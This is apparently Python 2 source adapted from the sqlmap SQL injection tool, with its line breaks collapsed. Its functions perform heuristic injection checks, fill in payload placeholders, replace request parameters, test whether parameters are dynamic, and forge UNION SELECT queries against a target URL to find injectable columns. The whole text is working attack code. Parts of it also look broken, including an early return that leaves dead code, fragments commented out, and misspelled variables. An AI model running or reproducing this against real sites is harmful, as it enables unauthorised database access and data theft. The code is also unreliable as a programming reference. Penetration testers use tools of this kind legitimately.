def heuristicCheckSqlInjection(place, parameter, paramDict, parameters): origValue = paramDict[place][parameter] randStr = "" while '\'' not in randStr: randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET) payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=randStr) #payload = agent.payload(place, key, addValue=randStr) if (payload): url = "%s?%s" % (conf.url, payload) response = proxyqueryPage(url) page = response.getdata() handler = HTMLHandler(page) parseXmlFile(conf.errorsXML, handler) if conf.ErrorPage: return True else: return False
def adjustLateValues(self, payload): """ Returns payload with a replaced late tags (e.g. SLEEPTIME) """ if payload: payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) payload = payload.replace(SINGLE_QUOTE_MARKER, "'") for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, str(randomInt())) for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) return payload
def cleanupPayload(self, payload, origValue=None): if payload is None: return _ = (('[DELIMITER_START]', 'qzkzq'), ('[DELIMITER_STOP]', 'qpkpq'), ('[AT_REPLACE]', 'qtq'), ('[SPACE_REPLACE]', 'qiq'), ('[DOLLAR_REPLACE]', 'qvq'), ('[HASH_REPLACE]', 'qiq')) payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload) for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, str(randomInt())) for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) if origValue is not None: payload = payload.replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) if "[INFERENCE]" in payload: if Backend.getIdentifiedDbms() is not None: inference = queries[Backend.getIdentifiedDbms()].inference if "dbms_version" in inference: if isDBMSVersionAtLeast(inference.dbms_version): inferenceQuery = inference.query else: inferenceQuery = inference.query2 else: inferenceQuery = inference.query payload = payload.replace("[INFERENCE]", inferenceQuery) elif not kb.testMode: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" raise SqlmapNoneDataException(errMsg) return payload
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None, addValue=None): """ This method replaces the affected parameter with the SQL injection statement to request """ retVal = "" paramString = place['paramstring'] paramDict = place['paramdict'] origValue = paramDict[parameter]#getUnicode(paramDict[parameter]) randstr = "" if addValue is not None: value = origValue newValue = "%s%s" % (value, addValue) newValue = urlencode(newValue, '%', False, 'GET' != 'URI') else: if value is None: if all(c in "0123456789.+-" for c in parameter): randstr = str(randomInt()) else: randstr = randomStr() return randstr # """ # if where == PAYLOAD.WHERE.ORIGINAL: # value = origValue # elif where == PAYLOAD.WHERE.NEGATIVE: # if conf.invalidLogical: # match = re.search(r'\A[^ ]+', newValue) # newValue = newValue[len(match.group() if match else ""):] # _ = randomInt(2) # value = "%s%s AND %s=%s" % (origValue, match.group() if # match else "", _, _ + 1) # elif conf.invalidBignum: # value = randomInt(6) # elif conf.invalidString: # value = randomStr(6) # else: # if newValue.startswith("-"): # value = "" # else: # value = "-%s" % randomInt() # """ if False: pass else: def _(pattern, repl, string): retVal = string match = None for match in re.finditer(pattern, string): pass if match: while True: _ = re.search(r"\\g<([^>]+)>", repl) if _: try: repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) except IndexError: break else: break retVal = string[:match.start()] + repl + string[match.end():] return retVal if origValue: regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) """ else: retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) if retVal == paramString and urlencode(parameter) != parameter: retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) """ if retVal: retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\') return retVal
def checkDynParam(place, parameter, value): """ This function checks if the URL parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. place """ #if kb.redirectChoice: # return None paramString = place['paramstring'] #dynResult = None #randInt = randomInt() #infoMsg = "testing if %s parameter '%s' is dynamic" % #(str(type(paramType)), parameter) #logger.info(infoMsg) payload = "" randstr = "" length = len(value) try: #FixME:这个可以优化掉 response = proxyqueryPage(place['uri']) httpCode = response.getstatus() page = response.getdata() if all(c in "0123456789.+-" for c in value): randstr = str(randomInt(length=length)) else: randstr = randomStr(length=length) payload = agent.payload(place, parameter, value, randstr) url = place['uri'].replace(paramString, payload) reponse = proxyqueryPage(url) firstPage = reponse.getdata() firstCode = reponse.getstatus() #second Page if all(c in "0123456789.+-" for c in value): randstr = str(randomInt(length=length)) else: randstr = randomStr(length=length) payload = agent.payload(place, parameter, '', randstr) url = place['uri'].replace(paramString, payload) reponse = queryPage(url) secondPage = reponse.getdata() secondCode = reponse.getstatus() ratio1 = diffRatio(page, firstPage) ratio2 = diffRatio(page, secondPage) if ratio1 > UPPER_RATIO_BOUND_DYN and ratio2 > UPPER_RATIO_BOUND_DYN: if secondCode == firstCode and httpCode == firstCode: if diffRatio(firstPage, secondPage) > UPPER_RATIO_BOUND: return True else: return False else: return False else: return False except: print 'Excepiton occurred url:{0}'.format(place['uri'].replace( paramString, payload)) return False
def _unionPosition(comment, place, parameter, prefix, suffix, count, paramDict, parameters, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = [_ for _ in xrange(0, count)] # Unbiased approach for searching appropriate usable column random.shuffle(positions) for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS): if vector: break # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target URL is # affected by an exploitable union SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(charCount) phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = _escape(randQueryProcessed) # Forge the union SQL injection request query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=query, where=where) url = "%s?%s" % (conf.url, payload) response = proxyqueryPage(url) page = response.getdata() headers = response.getheaders() # Perform the request content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(str(headers if headers else None), payload, True) or "")).lower() if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(charCount) phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower() randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = _escape(randQueryProcessed2) # Confirm that it is a full union SQL injection query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=query, where=where) url = "%s?%s" % (conf.url, payload) response = proxyqueryPage(url) page = response.getdata() headers = response.getheaders() content = ("%s%s" % (page or "", str(headers if headers else None) or "")).lower() if not all(_ in content for _ in (phrase, phrase2)): vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) # Check for limited row output query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=query, where=where) url = "%s?%s" % (conf.url, payload) response = proxyqueryPage(url) page = response.getdata() headers = response.getheaders() # Perform the request content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(str(headers if headers else None), payload, True) or "")).lower() if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" print (warnMsg) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) unionErrorCase = kb.errorIsNone if unionErrorCase and count > 1: warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % (position + 1) warnMsg += "column with better characteristics" print(warnMsg) else: break return validPayload, vector
def _setKnowledgeBaseAttributes(): kb.chars = AttribDict() kb.chars.delimiter = randomStr(length=6, lowercase=True) kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True))